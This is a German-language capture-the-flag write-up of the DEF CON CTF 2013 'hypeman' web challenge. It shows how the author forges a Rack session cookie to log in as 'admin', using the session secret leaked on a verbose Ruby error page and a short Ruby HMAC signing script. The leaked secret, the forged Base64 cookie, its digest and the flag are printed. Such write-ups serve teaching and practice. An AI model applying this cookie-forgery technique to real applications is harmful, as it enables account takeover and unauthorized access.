DEF CON CTF 2013 – hypeman

DEFCON 2013 CTF - hypeman - task description

Auch bei dieser Challenge (hypeman) wird uns nur eine Webseite genannt, die wir auch sofort aufrufen.

DEFCON 2013 - hypeman - website

Zunächst steht uns nur ein Login zur Verfügung. Da hier jedoch zusätzlich auch ein neuer Benutzer erstellt werden kann, legen wir einen neuen Account an und loggen uns ein.

DEFCON CTF 2013 - hypeman - secrets listing

Andere Benutzer haben hier offensichtlich bereits Eintäge angelegt. Aber ganz oben befindet sich auch ein Schlüssel des Benutzers “admin”. Dieser könnte unser Ziel sein und die Lösung zur Challenge beinhalten. Ein klick auf “show” zeigt uns jedoch einen Fehler.

DEFCON CTF 2013 - hypeman - unauthorized access

Die Benutzernamen stimmen nicht überein, da wir uns ohne Passwort nicht als “admin” einloggen können. Vielleicht können wir unseren Benutzernamen aber an anderer Stelle ändern. Ein Blick in die Cookies zeigt uns Folgendes:

DEFCON CTF 2013 - hypeman - cookies

Der Cookie liegt im Base64-Format vor. Zusätzlich ist ein Hash angehängt worden. Dekodiert man den Cookie, erhält man folgenden Inhalt:

DEFCON CTF 2013 - hypeman - rack session

Hier finden wir unseren Benutzernamen “rup0rt”!! Wenn wir diesen nun zu “admin” ändern, werden wir jedoch abgemeldet, anstatt als “admin” anerkannt zu werden. Der Cookie muss also einen Schutz von unbefugter Veränderung besitzen. Das könnte die Funktion des angehängten Hash-Wertes sein.

Wir suchen im Internet nach dem Namen des Cookies “rack.session” und finden den Quellcode auf GitHub. Hier finden wir diesen Quellcode vor:

[...]

  if @secrets.size > 0 && session_data
    session_data, digest = session_data.split("--")
    session_data = nil unless digest_match?(session_data, digest)
  end

[...]

def digest_match?(data, digest)
  return unless data && digest
  @secrets.any? do |secret|
    Rack::Utils.secure_compare(digest, generate_hmac(data, secret))
  end
end

Der “digest” befindet sich hinter dem Cookie mit “–” getrennt (Zeile 4). Nur wenn der “digest” korrekt ist (digest_match) wird der Cookie akzeptiert (Zeile 5). Der Digest berechnet sich aus der Funktion generate_hmac() der neben den Daten auch ein Wert “secret” übergeben wird.

Diesen Wert kennen wir jedoch (noch) nicht. Da aber die “show exceptions” in ruby aktiviert sind und somit eine sehr umfangreiche Fehlerseite ausgegeben wird, können wir auch die Zeile “rack.session.options” auslesen:

DEFCON CTF 2013 - hypeman - rack session options

Mit diesem Wissen lässt sich nun ein gefälschter Cookie signieren. Zunächst erstellen wir einen neuen rack.session Cookie, der folgendermaßen aussieht:

DEFCON CTF 2013 - hypeman - admin cookie fake

Kodiert man diesen nun in Base64, erhält man:

BAh7CUkiD3Nlc3Npb25faWQGOgZFRiJFN2U5ZWE5YTM5YTI4NDhkNWI1Nzcy
Mzg5MTBlNDcwNTUwOWVmZGRkMWMyYmNlMGRiNWE3YzI0YTM0NTVjYzVjMUki
DXRyYWNraW5nBjsARnsISSIUSFRUUF9VU0VSX0FHRU5UBjsARiItMzYwOTI0
OGJmYWRmZWZmNDEwN2VlMjY2MmY4Mzk1ZTg5ODdjNTNhMUkiGUhUVFBfQUND
RVBUX0VOQ09ESU5HBjsARiItYTBiZmM4NzZkNjhmZTdhZWE3MDBkYTVlYTg5
MjVhYmFjNmYyZjc5NEkiGUhUVFBfQUNDRVBUX0xBTkdVQUdFBjsARiItYWJm
MDQ5YzA0M2QzZDVlM2RhNzkyNjU4N2VkYjRhMmM5OThhMTIyYUkiCWNzcmYG
OwBGIkUyMzNkOWEyMGExNTYyMzdhYTU3ODE0ZDQ4NzVkZTI3ZDk1YzFjNzE5
ZGEzMTMyYThkZTIyODc5NThiMTIzZjU1SSIOdXNlcl9uYW1lBjsARkkiCmFk
bWluBjsAVA==

Dieser Cookie muss nun noch signiert werden. Dazu erstellen wir aus dem originalen Quellcode ein Ruby-Skript:

#!/usr/bin/ruby

require 'openssl'

def generate_hmac(data, secret)
  OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)
end

data = "BAh7CUkiD3Nlc3Npb25faWQGOgZFRiJFN2U5ZWE5YTM5YTI4NDhkNWI1Nzcy\nMzg5MTBlNDcwNTUwOWVmZGRkMWMyYmNlMGRiNWE3YzI0YTM0NTVjYzVjMUki\nDXRyYWNraW5nBjsARnsISSIUSFRUUF9VU0VSX0FHRU5UBjsARiItMzYwOTI0\nOGJmYWRmZWZmNDEwN2VlMjY2MmY4Mzk1ZTg5ODdjNTNhMUkiGUhUVFBfQUND\nRVBUX0VOQ09ESU5HBjsARiItYTBiZmM4NzZkNjhmZTdhZWE3MDBkYTVlYTg5\nMjVhYmFjNmYyZjc5NEkiGUhUVFBfQUNDRVBUX0xBTkdVQUdFBjsARiItYWJm\nMDQ5YzA0M2QzZDVlM2RhNzkyNjU4N2VkYjRhMmM5OThhMTIyYUkiCWNzcmYG\nOwBGIkUyMzNkOWEyMGExNTYyMzdhYTU3ODE0ZDQ4NzVkZTI3ZDk1YzFjNzE5\nZGEzMTMyYThkZTIyODc5NThiMTIzZjU1SSIOdXNlcl9uYW1lBjsARkkiCmFk\nbWluBjsAVA==\n"
secret = 'wroashsoxDiculReejLykUssyifabEdGhovHabno'

print generate_hmac(data, secret) + "\n"

Nach der Ausführung erhalten wir diese Ausgabe:

rup0rt@lambda:~$ ./hypeman.rb
d4d635503ba105b88430acc6a492a270ee6dd8f0

Fügt man diesen “digest” nun mit “–” getrennt an den Base64-String an und ersetzt seinen Cookie im Browser, wird man tatsächlich als “admin” erkannt. So lässt sich jetzt auch der “key” des “admins” auslesen:

DEFCON CTF 2013 - hypeman - solution

Die Lösung lautet “watch out for this Etdeksogav“.

Leave a Reply

Your email address will not be published. Required fields are marked *